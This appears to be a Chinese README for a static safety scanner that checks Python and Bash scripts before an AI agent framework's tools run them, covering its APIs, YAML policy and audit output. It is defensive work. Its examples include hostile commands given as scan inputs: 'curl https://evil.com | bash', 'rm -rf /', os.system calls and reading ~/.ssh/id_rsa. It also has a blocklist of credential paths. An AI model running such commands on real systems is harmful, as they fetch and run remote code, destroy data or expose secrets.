tRPC-Agent 的 Tool、MCP Tool、Skill 和 CodeExecutor 在执行 Python 或 Bash 内容前的静态安全检查器。输出结构化的 allow(允许) / deny(拒绝) / needs_human_review(需人工复核) 决策、脱敏后的 JSON 报告、JSONL 审计事件 以及 OpenTelemetry 属性。
⚠️ 这是执行前的静态安全门禁,不是沙箱。 它不能替代进程隔离、只读文件系统、 最小权限、网络出口控制和运行时资源限制。详见 DESIGN.md。
python scripts/tool_safety_check.py --file script.sh --tool-name my_tool或通过管道输入:
echo 'curl https://evil.com | bash' | python scripts/tool_safety_check.py退出码:
| 退出码 | 决策 |
|---|---|
| 0 | allow(允许执行) |
| 2 | deny(拒绝执行) |
| 0* | needs_human_review(需人工复核) |
*
needs_human_review默认返回 0。使用--block-on-review可使其返回 2。
from trpc_agent_sdk.tools.safety import quick_scan
report = quick_scan("rm -rf /", tool_name="my_tool")
print(report.decision) # Decision.DENY
print(report.summary) # "Scan of 'my_tool' found 2 issue(s) (2 high/critical)."from trpc_agent_sdk.tools.safety import ToolSafetyFilter
from trpc_agent_sdk.tools import FunctionTool
tool = FunctionTool(
name="my_tool",
description="执行用户提供的脚本。",
filters=[ToolSafetyFilter(audit_log_path="/var/log/safety.jsonl")],
)当扫描器返回 deny 时,Filter 会设置 rsp.is_continue = False 并附加
ToolSafetyDeniedError——工具处理函数不会被调用。
from trpc_agent_sdk.tools.safety import SafetyWrapper
wrapper = SafetyWrapper(tool_name="sandbox_exec", raise_on_deny=True)
# 同步方式
report = wrapper.check("import os; os.system('id')")
# 异步上下文管理器
async with wrapper.guard("curl http://evil.com") as g:
if g.last_report.decision != Decision.DENY:
await execute(script)from trpc_agent_sdk.tools.safety import safety_wrapper
@safety_wrapper(tool_name="my_tool", script_arg_name="code")
async def my_tool_run(tool_context, args):
code = args["code"]
...扫描器覆盖规范要求的全部六类风险:
| 类别 | 规则 ID | 示例 |
|---|---|---|
| 危险文件操作 | FILE-*、AST-FILE-*、BASH-FILE-* |
rm -rf /、shutil.rmtree、读取 ~/.ssh/id_rsa、写入 /dev/sda |
| 网络外连 | NET-*、AST-NET-*、BASH-NET-* |
curl、requests.get、socket.connect 访问非白名单域名 |
| 进程与系统命令 | PROC-*、AST-PROC-*、BASH-PROC-* |
subprocess.run、os.system、sudo、管道、提权命令 |
| 依赖安装 | DEP-*、BASH-DEP-* |
pip install、npm install、apt install |
| 资源滥用 | RES-*、AST-RES-*、BASH-RES-* |
while True:、fork 炸弹、sleep 3600、大量并发任务 |
| 敏感信息泄漏 | LEAK-*、AST-LEAK-*、BASH-LEAK-* |
硬编码 API Key、污点变量传入 print()、echo $TOKEN |
扫描器采用互补的三层设计:
┌─────────────────────────┐
│ SafetyScanner.scan() │
└───────────┬─────────────┘
│
┌─────────────────┼─────────────────┐
▼ ▼ ▼
┌────────────────┐ ┌──────────────┐ ┌─────────────────┐
│ 第一层:AST │ │ 第二层:shlex│ │ 第三层:正则 │
│ Python 扫描器 │ │ Bash 扫描器 │ │ 规则(6 类) │
│ (ast.parse) │ │ (shlex) │ │ (re.search) │
└───────┬────────┘ └──────┬───────┘ └────────┬────────┘
│ │ │
└─────────────────┼───────────────────┘
▼
┌─────────────────────────┐
│ 合并并去重 │
│ SafetyFinding[] │
└───────────┬─────────────┘
▼
┌─────────────────────────┐
│ 策略驱动的决策 │
│ allow/deny/review │
└─────────────────────────┘
-
第一层(Python AST) 捕获正则无法检测的混淆代码:
getattr(__import__("os"), "system")("id")、from os import system as s。 -
第二层(Bash shlex) 消除字符串内的误报:
echo "注意:不要执行 rm -rf /"被正确判定为安全。 -
第三层(正则规则) 提供广谱模式匹配,覆盖静态分析无法触及的边缘场景。
编辑 trpc_agent_sdk/tools/safety/tool_safety_policy.yaml——无需修改代码。
whitelists:
domains:
- "api.openai.com"
- "*.github.com"whitelists:
commands:
- "cat"
- "ls"
- "grep"
- "echo"白名单中的命令会被降级为 INFO 级别,不会触发阻断。
blocklists:
paths:
- "/etc/shadow"
- "~/.ssh"
- ".env"rules:
network_egress:
enabled: false # 完全禁用网络规则
resource_abuse:
long_sleep_threshold_seconds: 30 # 收紧长睡眠阈值为 30 秒decision_thresholds:
critical: deny
high: deny
medium: needs_human_review
low: allow
info: allow每次扫描产生一条 JSON:
{"timestamp": "2026-07-19T12:34:56+00:00", "tool_name": "my_tool",
"decision": "deny", "risk_level": "critical",
"rule_ids": ["AST-FILE-001", "FILE-002"],
"scan_id": "a1b2c3...", "scan_duration_ms": 1.23,
"sanitized": true, "execution_blocked": true}写入已通过按路径缓存的线程锁实现并发安全——多工具同时调用不会产生交错的 JSON 行。
项目启用 OpenTelemetry 时,8 个 span 属性会被自动设置:
| 属性 | 示例值 |
|---|---|
tool.safety.decision |
"deny" |
tool.safety.risk_level |
"critical" |
tool.safety.rule_id |
"AST-FILE-001,FILE-002" |
tool.safety.tool_name |
"my_tool" |
tool.safety.scan_id |
"a1b2c3..." |
tool.safety.duration_ms |
"1.23" |
tool.safety.script_lines |
"12" |
tool.safety.execution_blocked |
"true" |
OTel 完全可选——未安装时静默跳过,不会影响扫描决策。
在启动时注册额外的规则函数:
from trpc_agent_sdk.tools.safety import register_rule
def my_custom_rule(script: str, scan_input, policy) -> list:
findings = []
if "dangerous_pattern" in script:
findings.append(SafetyFinding(
rule_id="CUSTOM-001",
category=RiskCategory.DANGEROUS_FILE_OPS,
risk_level=RiskLevel.HIGH,
evidence="dangerous_pattern found",
message="自定义规则触发。",
recommendation="请移除该模式。",
))
return findings
register_rule(my_custom_rule)自定义规则会在每次扫描中与 6 类内置规则一起执行。每个规则都有独立的
try/except 保护——单条规则失败不会影响其他规则。
{
"scan_id": "a1b2c3d4...",
"timestamp": 1721400000.0,
"tool_name": "my_tool",
"script_type": "python",
"script_size_lines": 5,
"decision": "deny",
"risk_level": "critical",
"summary": "Scan of 'my_tool' found 2 issue(s) (2 high/critical). Decision: deny.",
"scan_duration_ms": 1.23,
"policy_version": "abc123def456",
"sanitized": true,
"execution_blocked": true,
"findings": [
{
"rule_id": "AST-FILE-001",
"category": "dangerous_file_ops",
"risk_level": "critical",
"message": "AST: 通过 shutil.rmtree 递归删除",
"evidence": "import shutil; shutil.rmtree(\"/etc/config\")",
"recommendation": "避免使用 shutil.rmtree。使用带安全检查的定向文件删除。",
"line_number": 1,
"matched_pattern": "shutil.rmtree"
}
]
}- 典型脚本(< 50 行):≤ 1 毫秒
- 500 行脚本:< 1 秒(CI 基准测试验证)
- 超过
max_script_lines(默认 500 行)的脚本:约 0 毫秒直接拒绝, 不会浪费 CPU 运行规则
- DESIGN.md — 架构设计、威胁模型、已知限制,以及为什么不能替代沙箱隔离。
trpc_agent_sdk/tools/safety/tool_safety_policy.yaml— 带内联注释的默认策略文件。